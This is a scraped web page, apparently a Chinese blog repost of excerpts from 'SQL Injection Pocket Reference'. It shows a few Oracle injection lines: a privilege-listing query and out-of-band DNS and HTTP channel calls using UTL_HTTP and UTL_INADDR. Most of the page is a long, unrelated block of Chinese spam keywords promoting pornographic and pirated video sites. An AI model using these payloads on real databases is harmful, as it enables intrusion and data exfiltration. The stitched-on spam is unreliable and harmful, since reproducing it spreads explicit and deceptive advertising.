SELECT grantee, granted_role FROM dba_role_privs; (Privileged)

? ? ? ? ? ?

? ? ? ?Out of Band Channeling

? ? ? ? ? DNS Requests

SELECT UTL_HTTP.REQUEST('http://localhost') FROM dual;
SELECT UTL_INADDR.get_host_address('localhost.com') FROM dual;



總結(jié)

以上是生活随笔為你收集整理的读”SQL Injection Pocket Reference”之摘录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。

亚洲人av免费网站 | 免费在线观看不卡av | 免费看片黄色 | 人人澡澡人人 | 中文字幕专区高清在线观看 | 免费看片亚洲 | 日韩av不卡在线播放 | 国产亚洲精品久久久久久大师 | 黄色一级免费电影 | 在线观看视频国产 | 91麻豆精品国产自产 | 久久精品国产免费看久久精品 | 高清不卡毛片 | 玖玖爱国产在线 | 在线观看日本韩国电影 | 国产精品免费久久久久久 | 亚州性色| 国产黄视频在线观看 | 丁香六月av | 日韩免费电影 | 国产精品99久久久久人中文网介绍 | 欧美一二三在线 | 蜜臀久久99静品久久久久久 | 国产一区二区精品久久91 | 91日本在线播放 | 国产中出在线观看 | 日本三级香港三级人妇99 | 91最新视频 | 日韩精品免费在线 | 一区二区三区高清不卡 | 丰满少妇在线观看网站 | av色综合网| 精品综合久久久 | 精品免费一区二区三区 | 黄色片网站 | 黄色h在线观看 | 伊人久久国产精品 | 国外成人在线视频网站 | 久久精品国产久精国产 | 深爱激情婷婷网 | 日韩一二三 | 成年人在线播放视频 | 成人丝袜 | 成人av免费电影 | a资源在线| 色欧美成人精品a∨在线观看 | 国产人在线成免费视频 | 免费在线观看日韩欧美 | 国产一级淫片免费看 | 国产一级电影在线 | 四虎精品成人免费网站 | 麻豆成人网 | 天天色天天操天天爽 | 久久久精品国产一区二区三区 | 国产综合精品久久 | av线上免费观看 | 久久久精品综合 | 热久久影视 | 日本黄色免费看 | 免费看的黄色小视频 | 人人爽人人爽人人爽 | 怡红院久久 | 精品在线99 | 一二三区高清 | 亚洲手机av| 韩日av一区二区 | 国产一级免费播放 | 久久久综合精品 | 成人av播放 | 国产视频在线免费 | 欧美日韩精品在线免费观看 | 一区二区三区四区五区在线视频 | 国产91成人在在线播放 | 国产婷婷vvvv激情久 | 欧美不卡视频在线 | 国产精品久久久久av福利动漫 | 国产精品不卡 | 成人欧美一区二区三区在线观看 | 免费成人黄色片 | 欧美激情视频在线免费观看 | 久久99国产一区二区三区 | 精油按摩av| 免费看色视频 | 97超碰人人澡人人爱学生 | 亚洲在线精品视频 | 毛片网站观看 | 色婷婷狠 | 精品毛片一区二区免费看 | 综合久久综合久久 | 性色av免费在线观看 | 99欧美 | 久久精品亚洲综合专区 | 99精品欧美一区二区 | 热久久免费视频精品 | 久热国产视频 | 欧美先锋影音 | 区一区二在线 | 五月婷婷在线视频观看 | 国产原创91 | 日本精品视频在线 | 国产精品欧美久久 | 日韩理论影院 | 中文字幕在线观看完整版 | 一级一片免费看 | 国产美女免费看 | 五月婷网 | 激情av资源网 | 国产一二三四在线观看视频 | 欧美黑人性猛交 | av日韩国产 | 西西444www| 亚洲做受高潮欧美裸体 | 狠狠躁日日躁夜夜躁av | 日本久久久亚洲精品 | 激情五月看片 | 蜜臀av性久久久久av蜜臀三区 | 国产色区 | 99久热在线精品视频成人一区 | 五月婷色 | 久精品视频在线观看 | 一区二区三区四区在线免费观看 | 日韩sese| 国产黄色一级片 | 夜夜夜草 | 黄色在线观看www | 日本视频久久久 | 欧美一级视频免费看 | 人人搞人人干 | 亚洲免费公开视频 | 92精品国产成人观看免费 | 正在播放亚洲精品 | 国产 日韩 欧美 中文 在线播放 | 韩国精品在线观看 | 操碰av | 91热爆视频 | 最新国产精品拍自在线播放 | 国产精品久久久久亚洲影视 | 国产经典 欧美精品 | 国产成人久久精品 | 久久国产欧美日韩 | 国产一区二区三区视频在线 | 国产传媒一区在线 | 天天爽夜夜爽人人爽曰av | 亚洲高清免费在线 | 在线免费观看视频你懂的 | 久久久久福利视频 | 精品国精品自拍自在线 | 免费合欢视频成人app | 国产精品高清在线观看 | 日韩a级黄色片 | 中文字幕第| 99久久精品午夜一区二区小说 | 日韩高清成人 | 黄色在线观看网站 | 国产精品久久久视频 | 久久久久久久国产精品 | 超碰97.com| 91人人视频在线观看 | 日本aa在线| 超碰国产在线播放 | 久久成视频| 久久免费成人 | 超碰在线亚洲 | 日韩欧美综合在线视频 | 国产精彩视频一区二区 | www天天操 | 911av视频| 黄在线免费看 | 五月婷婷视频在线 | 欧美日韩在线视频一区 | 91精品1区2区 | 成人在线观看av | 九9热这里真品2 | 成人a免费视频 | 亚洲综合在线一区二区三区 | 欧美aa级 | 日本性高潮视频 | 久久经典国产 | 一区二区伦理 | 欧美性护士 | 欧美日韩高清一区二区 | 久久免费a | 91精品久久久久久综合乱菊 | www.xxxx变态.com| 中文字幕人成乱码在线观看 | 亚洲不卡123 | 成人亚洲网 | 九九精品视频在线看 | 国产96视频 | 成人高清在线观看 | 国产精品免费一区二区 | 久草精品视频在线观看 | 中国一级片在线播放 | 97超碰人人在线 | 狠狠色香婷婷久久亚洲精品 | 久久成人18免费网站 | 久久国产经典 | 久久精品国产精品亚洲精品 | 久久精品这里都是精品 | 国产精品自产拍在线观看中文 | 在线网站黄 | 国产不卡精品视频 | 天天综合导航 | 久久一区国产 | 欧美成人免费在线 | 欧美日韩在线视频一区二区 | 久久婷婷视频 | 成人在线免费视频观看 | 精品国产精品久久一区免费式 | 又黄又色又爽 | 一区二区三区在线视频111 | 永久av免费在线观看 | 国内精品小视频 | 麻豆精品传媒视频 | 成年人免费在线观看网站 | 精品国产一区二区三区在线观看 | 欧美日韩亚洲在线观看 | 激情婷婷欧美 | 亚洲欧美国产视频 | 免费精品国产 | 丝袜美腿av | 午夜视频一区二区三区 | 日本精品视频一区 | 久草在线视频免赞 | 最近中文字幕视频网 | 成人a免费看 | 天天操天天操天天爽 | 免费毛片一区二区三区久久久 | 99av在线视频 | 91日韩精品一区 | 97在线观看免费观看 | 97品白浆高清久久久久久 | 国产99久久久精品 | 激情五月亚洲 | 国产原创av在线 | 深爱激情婷婷网 | 97视频人人澡人人爽 | 成人国产亚洲 | 久久精品一区二区三区中文字幕 | 久久99操| 9热精品 | 97人人模人人爽人人喊中文字 | 天天综合入口 | 久久 精品一区 | 亚洲激情视频在线 | 国产精品资源在线观看 | 超碰在线最新地址 | 在线看成人 | 精品v亚洲v欧美v高清v | 在线免费视频a | 久久综合偷偷噜噜噜色 | 欧美日本不卡视频 | 欧美一进一出抽搐大尺度视频 | 热re99久久精品国产66热 | 国产伦理一区二区三区 | 亚洲日韩精品欧美一区二区 | 韩国av一区 | 亚洲国产mv | 日韩免费视频一区二区 | 97人人人人 | 亚洲在线精品视频 | 日韩免费高清在线观看 | 婷婷激情网站 | 中文字幕超清在线免费 | 欧美日韩免费网站 | 亚洲另类视频在线 | 99在线国产 | 欧美动漫一区二区三区 | 成人国产精品久久久春色 | 久久尤物电影视频在线观看 | 免费观看成人 | 91香蕉视频好色先生 | 国产中文字幕视频在线观看 | 黄网在线免费观看 | 成年人电影免费在线观看 | 国产很黄很色的视频 | 国产精品美女毛片真酒店 | 91av免费看| 视频二区在线 | 午夜精品久久久久久久99无限制 | 人人添人人澡 | 国内视频在线 | 欧美精品二区 | 国产在线精品播放 | 免费在线观看国产黄 | 久久激情综合网 | 91成年人视频 | 国产不卡av在线 | 999视频精品 | 最新国产精品亚洲 | 综合激情网 | 日韩精品中文字幕一区二区 | 欧美日本不卡 | 免费视频黄色 | 最新av在线网站 | 日韩免费av网址 | 亚洲成人高清在线 | 日韩av在线看 | 狠狠干网站 | 91精品国产综合久久久久久久 | 欧美日韩精品网站 | 国产精品国产自产拍高清av | 久久久久女人精品毛片九一 | 婷婷激情久久 | 最近中文字幕免费视频 | 日韩免费看的电影 | 黄网站www| 欧美日本不卡高清 | 中国一级片免费看 | 成人av在线影院 | 天天曰夜夜操 | 亚洲美女视频在线 | 99在线播放 | 久久99久久99免费视频 | 射射射av| 亚洲精品福利在线观看 | 天天在线视频色 | 精品久久中文 | 亚洲人成在线电影 | 99爱视频在线观看 | 色狠狠综合| 欧美精品久久久久久久久久白贞 | 亚洲综合精品在线 | 久久精品99久久久久久2456 | 日韩理论在线播放 | 色综合久久久久网 | 在线激情电影 | 色婷婷综合久久久久 | 超碰久热 | 九九热久久免费视频 | 国产99免费视频 | 一级黄色片网站 | 日韩精品视频一二三 | 天堂av观看 | 人人干人人模 | 成人国产电影在线观看 | 日韩美在线 | 91.dizhi永久地址最新 | 免费在线h| 在线观看亚洲精品视频 | 日韩久久一区 | 色综合天天综合网国产成人网 | 麻花豆传媒mv在线观看 | 久久国产精品成人免费浪潮 | 免费高清在线观看电视网站 | 91人人爽人人爽人人精88v | 国产一级性生活视频 | 婷婷久久综合九色综合 | 中文字幕电影在线 | 国产精品福利午夜在线观看 | av观看网站 | 成人小视频免费在线观看 | 在线影院 国内精品 | 激情电影在线观看 | 国内揄拍国产精品 | 久久精品久久精品久久精品 | 九九色综合 | 精品国产理论 | 国产1区2区3区精品美女 | 国产精品久久久久免费 | 日韩动漫免费观看高清完整版在线观看 | 亚洲精品资源 | 久久激情电影 | 久久久久久久久久久久久国产精品 | 久久综合免费 | 91精彩视频在线观看 | 欧美激情奇米色 | 日韩国产欧美在线播放 | 亚洲精品久久久蜜臀下载官网 | 最近中文国产在线视频 | 欧美国产91| 婷婷在线免费 | 国产91九色蝌蚪 | 日韩一级电影在线观看 | 欧美一区影院 | 日韩va在线观看 | 久久视频国产精品免费视频在线 | 色在线最新 | 日韩精品视频免费专区在线播放 | 久久任你操 | 欧美一区在线观看视频 | 久久精品专区 | 国产一级久久 | 色综合久久99 | 顶级欧美色妇4khd | 日日干干 | 色在线免费观看 | 国产一区二区不卡在线 | 精品999国产 | 成 人 免费 黄 色 视频 | 国产精品自产拍在线观看 | 国内揄拍国内精品 | 不卡的av | 91精品在线播放 | 久久精品视频免费播放 | 亚洲精品久久久久久中文传媒 | 九九视频在线观看视频6 | 一级黄色毛片 | 99视频在线精品国自产拍免费观看 | 亚洲精品一区二区三区四区高清 | 欧美精品中文 | 丁香六月av | 98久久 | 一级黄色片在线免费看 | 天天做日日爱夜夜爽 | 91成人免费看片 | 色婷婷狠狠干 | 色多多在线观看 | 国产不卡av在线 | 久久久午夜影院 | 亚洲男男gⅴgay双龙 | 日韩在线观看你懂的 | 久久国产精品影片 | 国产精品久久久久久久妇 | 久久99国产精品自在自在app | 国产麻豆视频网站 | 亚洲亚洲精品在线观看 | 日韩视频专区 | 亚洲精品www久久久久久 | 中文字幕在线人 | a级国产乱理论片在线观看 特级毛片在线观看 | 日韩成人免费在线观看 | 欧美成人基地 | 亚洲热视频 | 中文字幕精品一区二区三区电影 | 91私密视频| 91入口在线观看 | 国产精品av免费在线观看 | 一级黄色电影网站 | 天天干,天天草 | 午夜精品一区二区三区在线视频 | av成人动漫在线观看 | 在线观看免费黄视频 | 亚洲1级片| 精品久久久久久久久久久久久 | 久草精品视频 | 亚洲精品色 | 婷婷综合伊人 | 国产一级a毛片视频爆浆 | 97碰碰碰| 69精品视频在线观看 | 亚洲精品久久久蜜桃直播 | 天堂av色婷婷一区二区三区 | 91网站观看 | 天天看天天干天天操 | 亚洲国产精彩中文乱码av | 亚洲精品欧洲精品 | 国产最新在线视频 | 成人资源站 | 久草青青在线观看 | 日韩区欠美精品av视频 | 国产91aaa | 精品色999| 久久久久久久网站 | 午夜精品999 | 免费看一级片 | 国产精品免费久久久 | 国产91免费看 | 国产精品18久久久久久久网站 | 国产亚洲亚洲 | 欧美一二三区在线观看 | 日韩av不卡在线播放 | 色妞色视频一区二区三区四区 | 最近中文字幕免费 | 麻豆av一区二区三区在线观看 | 国产成人精品久久久 | 国产亚洲婷婷免费 | 天天躁天天操 | 亚洲综合色丁香婷婷六月图片 | 成人在线小视频 | 国产成人免费观看 | 99久久精品免费看 | 国产护士av | 天天色天天干天天色 | 中文字幕一二三区 | 国产一级黄 | 激情网婷婷 | 五月婷婷六月丁香 | 在线免费观看不卡av | 国产一级二级三级在线观看 | 日韩激情视频在线观看 | 日韩在线观看高清 | 91视频在线免费观看 | 国产精品毛片久久久久久久 | 福利视频一区二区 | 成人在线黄色电影 | 欧美一级片在线观看视频 | 亚洲区二区 | 日本三级在线观看中文字 | 免费高清无人区完整版 | 99久久99久久精品免费 | 狠狠干狠狠色 | 丁香午夜 | 日本高清中文字幕有码在线 | 伊人伊成久久人综合网站 | 五月综合在线观看 | 天天狠狠操 | 99精品久久99久久久久 | 久久视频这里有久久精品视频11 | 天天se天天cao天天干 | 天堂av网址 | 久久这里有 | 在线亚洲日本 | 久久国产午夜精品理论片最新版本 | 综合久久久久久 | 美女久久久 | 国产日产精品一区二区三区四区 | 国产精品观看 | 久久久片 | 久久国产成人午夜av影院宅 | 福利视频精品 | 黄色av一区二区 | 手机在线永久免费观看av片 | 国产亚洲精品女人久久久久久 | 国产一区二区三区在线免费观看 | 亚洲欧美婷婷六月色综合 | 日产乱码一二三区别在线 | 中文在线中文a | 91在线视频免费观看 | 国产亚洲精品久久久久秋 | 国产人成在线视频 | 天天干天天干天天干天天干天天干天天干 | 久久亚洲在线 | 中文字幕色播 | 九九热视频在线免费观看 | 国产精品久一 | 国产中文字幕在线播放 | 日韩sese| 不卡的av | 久久久久久伊人 | 国产99色 | 天无日天天操天天干 | 8x成人在线 | 亚洲精品午夜视频 | 日韩在线视频播放 | 亚洲精品av在线 | 草久久av | 国产精品久久久av | 国产高清无线码2021 | 99视频在线精品国自产拍免费观看 | 国产精品视频免费看 | 欧美性网站| 九九视频免费在线观看 | wwwww.国产 | 麻豆成人在线观看 | 欧美日韩免费视频 | 天堂av网在线 | 亚洲精品高清在线观看 | 日韩视频免费在线 | 91黄色在线观看 | 91热视频在线观看 | 狠狠色丁香婷婷综合久小说久 | 久久久久久久久久久久电影 | 日本中文在线观看 | 成人国产网址 | 男女啪啪视屏 | 久久人人爽人人片av | 亚洲高清国产视频 | 国产免费人成xvideos视频 | 日韩欧三级 | 免费av电影网站 | 国产精品久久久久婷婷 | 国产精品爽爽久久久久久蜜臀 | 2022中文字幕在线观看 | 天天操夜夜逼 | 亚洲少妇激情 | 中文字幕在线播放日韩 | 久草在线 | 久久99精品国产99久久6尤 | 最新中文在线视频 | 91精品在线免费视频 | a级国产乱理伦片在线播放 久久久久国产精品一区 | 一区二区三区在线电影 | 日韩精品视频免费在线观看 | 国产精品久久久久久久久软件 | 日韩欧美成 | 国内99视频 | 成人黄色电影在线观看 | www.五月婷婷.com | 91av资源网 | 亚洲国产中文字幕在线观看 | 欧美一级电影在线观看 | 免费影视大全推荐 | 国产乱对白刺激视频在线观看女王 | 国产成人精品一区二三区 | 99久久综合精品五月天 | 精品视频免费播放 | 麻豆精品国产传媒 | 国产免费人成xvideos视频 | 中文字幕在线精品 | 日韩三级精品 | av中文字幕免费在线观看 | 欧美精品久久久久a | 九九热在线视频 | 久久国产精品网站 | 在线看国产视频 | 免费高清无人区完整版 | 天天操天天干天天爽 | 在线观看国产 | 99热精品免费观看 | 欧美天堂视频在线 | 久久国产精品区 | 伊人小视频| 国产xxxxx在线观看 | 日批视频在线观看免费 | 免费观看9x视频网站在线观看 | 91在线在线观看 | 91免费在线 | 五月开心六月婷婷 | 992tv又爽又黄的免费视频 | 国产伦精品一区二区三区无广告 | 免费看91的网站 | 91精品在线播放 | 99精品国产视频 | 成人免费视频网站在线观看 | 欧美一二三区播放 | 国产精品视频全国免费观看 | 在线久草视频 | 黄色亚洲 | 久久久综合香蕉尹人综合网 | 人人草天天草 | 91精品国产91久久久久 | 91久久国产露脸精品国产闺蜜 | 激情丁香综合 | 亚洲成人xxx | 久久视频免费看 | 天天操天天色天天射 | av丁香| 伊人网站| 97超碰精品 | 国产福利久久 | 欧美日韩久久一区 | 69精品视频在线观看 | 麻豆视频在线观看免费 | 欧美一二三区在线观看 | 亚洲五月激情 | 欧美a级成人淫片免费看 | 免费福利在线观看 | 国产主播大尺度精品福利免费 | 国内久久久久 | 97精产国品一二三产区在线 | 国产99久久| 免费在线观看不卡av | 午夜91视频 | 国产高清视频免费在线观看 | 一级片在线 | 人人草在线视频 | 国产亚洲精品久久久网站好莱 | 色播五月激情五月 | 日韩视频一区二区在线观看 | 日本视频久久久 | 免费欧美高清视频 | 婷婷在线资源 | 欧美日本三级 | 午夜少妇一区二区三区 | 欧美人体xx| 天天色成人网 | 91男人影院 | 六月婷操 | 国产美女精品人人做人人爽 | 国产美女主播精品一区二区三区 | 国产亚洲欧美一区 | 精品理论片 | 最新成人在线 | 精品中文字幕在线播放 | 久久久96 | 日韩精品一区二区免费 | 四虎在线永久免费观看 | 精品自拍av | 国产一级久久久 | 日韩精品一区二区三区免费视频观看 | 天天操天天干天天综合网 | 国产精品mm | 久草网在线观看 | 国内精品久久久久久久影视麻豆 | 亚洲一区精品人人爽人人躁 | 亚洲国产精品电影 | 激情综合国产 | 黄色在线看网站 | 成人免费一区二区三区在线观看 | 色婷婷国产 | 午夜精品久久久久久久99无限制 | 欧美韩国日本在线观看 | 欧美一级乱黄 | 这里有精品在线视频 | 91看成人 | 美女久久一区 | 亚洲情感电影大片 | 激情五月伊人 | 国产精品手机在线播放 | 五月天av在线 | 免费国产黄线在线观看视频 | 香蕉视频在线播放 | 在线播放日韩av | 91黄色在线观看 | 伊人网av| 在线看黄网站 | 2019中文在线观看 | 免费三级黄色 | 色婷五月天| 久在线 | 日韩av看片 | 久久网页 | 亚州av一区 | 亚洲综合色激情五月 | 国产精品九九久久久久久久 | 97超碰在线久草超碰在线观看 | 综合激情伊人 | 日韩电影一区二区三区 | 又黄又爽又湿又无遮挡的在线视频 | 三级视频片 | 久久久久久久久久久免费视频 | 国产黄在线免费观看 | 久久精品国产免费 | 精品久久久免费 | 亚洲国产福利视频 | 在线视频免费观看 | 成人毛片一区二区三区 | 国产专区在线视频 | 国内精品久久久久久中文字幕 | 五月婷婷在线播放 | 精品免费在线视频 | 96精品视频| 91桃色国产在线播放 | 黄色免费网战 | 色网站国产精品 | www.五月天激情 | 欧美 日韩 国产 成人 在线 | 日韩精品一区二区电影 | 国产美女精品 | 久操视频在线播放 | 中文字幕在线一区二区三区 | 天天做日日爱夜夜爽 | 日韩久久影院 | 免费在线观看av | 91在线播放国产 | 婷婷在线色 | 国产免费黄视频在线观看 | 久久 亚洲视频 | 天天爽天天碰狠狠添 | 色综合 久久精品 | 久久久免费国产 | 成人v| 久草影视在线观看 | 成片免费 | 99久久精品免费看国产免费软件 | 9999亚洲| 精品国产一区二区三区男人吃奶 | 亚洲精品乱码久久久久久蜜桃不爽 | 日本在线视频一区二区三区 | 国产青春久久久国产毛片 | 国产亚洲婷婷免费 | 综合天堂av久久久久久久 | 日韩有码在线播放 | 最新中文字幕在线观看视频 | 欧美成人tv| 99精品久久久久久久久久综合 | 婷婷五月在线视频 | 欧美老女人xx | 中文字幕在线观看亚洲 | 成人毛片在线观看 | 永久精品视频 | 色播五月激情综合网 | 国产精品成人久久久久 | 福利一区二区三区四区 | 免费又黄又爽 | 黄色影院在线观看 | 亚洲国产精品人久久电影 | 国产亚洲视频在线 | 怡红院成人在线 | 国产一级大片免费看 | 久草视频观看 | 国产 欧美 在线 | 51久久成人国产精品麻豆 | 国产精品久久久久三级 | 久草在线观看资源 | 97精品国产97久久久久久久久久久久 | 五月天久久久久 | 国产色婷婷在线 | 国内视频一区二区 | 国产在线一线 | 五月婷婷六月丁香激情 | 黄色a级片在线观看 | 久久久在线视频 | 久草精品视频 | 中文字幕2021 | 免费高清在线观看成人 | 亚洲视频axxx| 成人av在线电影 | 日韩在线播放视频 | 久久综合久久综合这里只有精品 | 成人免费在线看片 | 久久国产影院 | 婷婷色伊人 | 黄色亚洲片 | 日韩免费看 | 福利一区二区三区四区 | 99久久99久久 | 日韩精品网址 | 一区二区三区福利 | 91欧美精品 | 男女视频久久久 | 98精品国产自产在线观看 | 日本女人的性生活视频 | 欧美精品在线免费 | 天天色综合天天 | 成年一级片 | 国产精品久久久久久吹潮天美传媒 | 国产亚洲精品日韩在线tv黄 | 国产私拍在线 | 欧美成天堂网地址 | 中文字幕在线观看第一页 | 成人av免费电影 | 9在线观看免费高清完整 | 成人免费观看a | 99 色| 久av电影| 亚洲不卡123 | 99精品福利 | 成人97人人超碰人人99 | 天天草av | 欧美成年网站 | av 一区 二区 久久 | 91福利试看 | 亚洲精品视频在线观看免费视频 | 狠狠干狠狠插 | www五月天com | 国产成人精品一区二区在线 | 欧美日产一区 | 亚洲精品h| 五月天久久久久久 | 日本最新高清不卡中文字幕 | 天天草天天 | 久久男女视频 | 久草视频资源 | 欧美五月婷婷 | 亚洲黄色激情小说 | 国产尤物在线视频 | 国产一区高清在线观看 | 韩日三级在线 | 久久精品99国产精品日本 | 久久五月天婷婷 | 欧美日韩视频 | 99在线观看精品 | 日本护士三级少妇三级999 | 激情视频网页 | 6080yy精品一区二区三区 | 黄色av一级 | 久久精品男人的天堂 | 91免费在线 | 在线国产中文字幕 | 国产精品一区二区久久久 | 天天操夜操视频 | 亚洲精品国产自产拍在线观看 | 国产精品入口传媒 | 98久久 | 国产免费亚洲高清 | 国产小视频在线免费观看视频 | av理论电影| 久久99国产一区二区三区 | 久久国产精品视频免费看 | 91av免费观看 | 白丝av免费观看 | 激情综合亚洲精品 | 日韩黄色在线电影 | 久久精品综合 | 精品日韩在线一区 | 在线不卡视频 | 啪啪激情网 | 日韩精品不卡 | 五月天中文在线 | 中文字幕国产精品一区二区 | 69久久久 | 国产亚洲精品精品精品 | 2021国产精品 | 天天操综合网站 | 亚洲在线网址 | 三级黄色网络 | 岛国大片免费视频 | 欧美精品三级在线观看 | www.黄色片网站 | 久久精品麻豆 | 国产大陆亚洲精品国产 | 亚洲视频在线播放 | www色 | 黄色软件视频网站 | 国产一级特黄毛片在线毛片 | 国产精品黄网站在线观看 | 国产区在线 | av成人免费观看 | 欧美日性视频 | 黄色视屏免费在线观看 | 国产精品igao视频网网址 | 日韩 在线a | 日韩视频免费播放 | 欧美精品久久久久久久久久丰满 | 欧美日韩在线观看不卡 | 欧美激情视频一区二区三区 | 黄色网址在线播放 | 九月婷婷综合网 | 亚洲欧美国产精品18p | 激情网五月婷婷 | 国产精品区二区三区日本 | 日韩成人免费电影 | 婷婷丁香国产 | 四虎国产精品成人免费影视 | 久久久一本精品99久久精品 | a成人在线| 久久人人爽人人爽人人片av软件 | 免费看一级特黄a大片 | 国产精品色视频 | 综合网av | 精品一区二区久久久久久久网站 | 国产做aⅴ在线视频播放 | 91精品人成在线观看 | 在线免费色视频 | 国产视频一区二区在线播放 | 免费在线观看视频一区 | 久色婷婷 | 天天搞天天干天天色 | 91中文字幕 | 国产一二三四在线视频 | 亚洲成人软件 | 欧美日韩不卡在线观看 | 精品国产欧美一区二区三区不卡 | 亚洲狠狠婷婷综合久久久 | 国产精品一区二区三区观看 | 国产精品免费久久久久久久久久中文 | 欧美一级黄色网 | 久久99久久99精品免视看婷婷 | 91一区二区在线 | 国产亚洲免费观看 | 久久成人欧美 | 精品在线免费观看 | 久久综合久久久 | 三级av网站| 五月天激情开心 | 欧美成人基地 | 国产亚州精品视频 | 天天爱天天射天天干天天 | 成人小视频免费在线观看 | 天天射成人 | 日本中文字幕免费观看 | 在线观看香蕉视频 | 九九色综合 | 在线播放国产一区二区三区 | 久久成人资源 | 在线视频免费观看 | 欧美性受极品xxxx喷水 | 国产精品精品国产色婷婷 | 国产精品毛片一区视频播 | 日躁夜躁狠狠躁2001 | 免费在线观看av网站 | 日韩欧美在线视频一区二区 | 精品影院一区二区久久久 | 久久久资源网 | 97在线视 | 国产精品综合久久久久久 | 天天色婷婷 | 久久人人干| 狠狠操夜夜操 | 国产精品久久一区二区三区不卡 | 91日韩在线播放 | 青草视频在线免费 | 91在线看| 96国产精品| 91香蕉视频色版 | 国产精品自产拍 | 欧美午夜视频在线 | 99免费看片 | 亚洲日本一区二区在线 | 久久99视频免费 | 在线观看av大片 | 特级毛片在线免费观看 | 久久久免费 | 亚洲最新合集 | 日韩在线观看一区 | 99电影456麻豆 | 2019中文最近的2019中文在线 | 91九色国产在线 | 大胆欧美gogo免费视频一二区 | 久久久久久久久精 | 国产美女被啪进深处喷白浆视频 | 黄色亚洲在线 | 久久夜色精品亚洲噜噜国4 午夜视频在线观看欧美 | 一区二区三区国 | 91久久国产综合精品女同国语 | 国产一区视频在线观看免费 | 狠狠夜夜 | 人人看人人 | 欧美日韩国产一区二区三区 | 一区二区国产精品 | 久久久精品视频成人 | 中文字幕一区二区三区在线播放 | 免费色视频网站 | 中文字幕成人在线观看 | 亚洲精品永久免费视频 | 日本二区三区在线 |